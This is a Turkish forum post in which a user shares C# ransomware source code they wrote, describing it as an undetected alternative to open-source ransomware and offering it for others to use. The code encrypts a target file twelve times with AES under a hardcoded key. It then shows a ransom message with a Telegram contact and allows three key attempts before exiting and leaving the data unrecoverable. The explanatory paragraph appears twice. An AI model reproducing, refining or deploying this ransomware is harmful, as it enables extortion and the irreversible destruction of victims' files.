- Katılım
- 11 Nis 2022
- Mesajlar
- 260
- Beğeniler
- 151
Aktif olarak kullanılan ve açık kaynak kodlu fidye yazılımlarının hepsi detected, sizlerinde işine yarayacağını düşündüğüm için geliştirdim iyi çalışmalar.
NOT: Şifreleyeceği yeri dosya olarak ayarladım dizin olarakda ayarlayabilirsiniz
Çalışma Mantığı ->
1- Dizin veya dosyayı kodun içinde sizin belirtiğiniz key ile aes yöntemi kullanarak 12 kere şifreler
2- Kullanıcıdan key girişi bekler
3- Girilen key sizin kod içinde belirtiğiniz key ile eşleşiyorsa şifrelenen dizini çözer eğer girilen key eşleşmiyorsa 3 hak veririr hepsi yanlışsa programı kapatır ve verileri kurtarılamaz hale gelir
Kod ->
NOT: Şifreleyeceği yeri dosya olarak ayarladım dizin olarakda ayarlayabilirsiniz
Çalışma Mantığı ->
1- Dizin veya dosyayı kodun içinde sizin belirtiğiniz key ile aes yöntemi kullanarak 12 kere şifreler
2- Kullanıcıdan key girişi bekler
3- Girilen key sizin kod içinde belirtiğiniz key ile eşleşiyorsa şifrelenen dizini çözer eğer girilen key eşleşmiyorsa 3 hak veririr hepsi yanlışsa programı kapatır ve verileri kurtarılamaz hale gelir
Kod ->
C#:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
class Program
{
static void Main(string[] args)
{
string file = @"C:\Users\HUAWEI\lo.dll"; // path
string keyas = "aafijknghsad8973357396164438"; // aes key
string keyus = "Love"; // key
int max = 3; // max try
int atm = 0;
for (int i = 0; i < 12; i++)
{
enc(file, keyas);
}
Console.WriteLine("Oops! your data has been encrypted - Telegram: user123");
while (atm < max)
{
Console.Write("Key: ");
string inputKey = Console.ReadLine();
if (inputKey == keyus)
{
for (int i = 0; i < 12; i++)
{
dec(file, keyas);
}
Console.WriteLine("files were restored to their previous state bye");
break;
}
else
{
atm++;
Console.WriteLine($"key is wrong! remaining trial right {max - atm}");
}
if (atm >= max)
{
Environment.Exit(0);
}
}
}
static void enc(string file, string key)
{
byte[] caz = File.ReadAllBytes(file);
byte[] las = enc(caz, key);
File.WriteAllBytes(file, las);
}
static void dec(string file, string key)
{
byte[] las = File.ReadAllBytes(file);
byte[] sas = de(las, key);
File.WriteAllBytes(file, sas);
}
static byte[] enc(byte[] data, string key)
{
using (Aes aes = Aes.Create())
{
aes.Key = Encoding.UTF8.GetBytes(key.PadRight(32));
aes.IV = new byte[16];
using (ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
{
return encryptor.TransformFinalBlock(data, 0, data.Length);
}
}
}
static byte[] de(byte[] data, string key)
{
using (Aes aes = Aes.Create())
{
aes.Key = Encoding.UTF8.GetBytes(key.PadRight(32));
aes.IV = new byte[16];
using (ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return decryptor.TransformFinalBlock(data, 0, data.Length);
}
}
}
}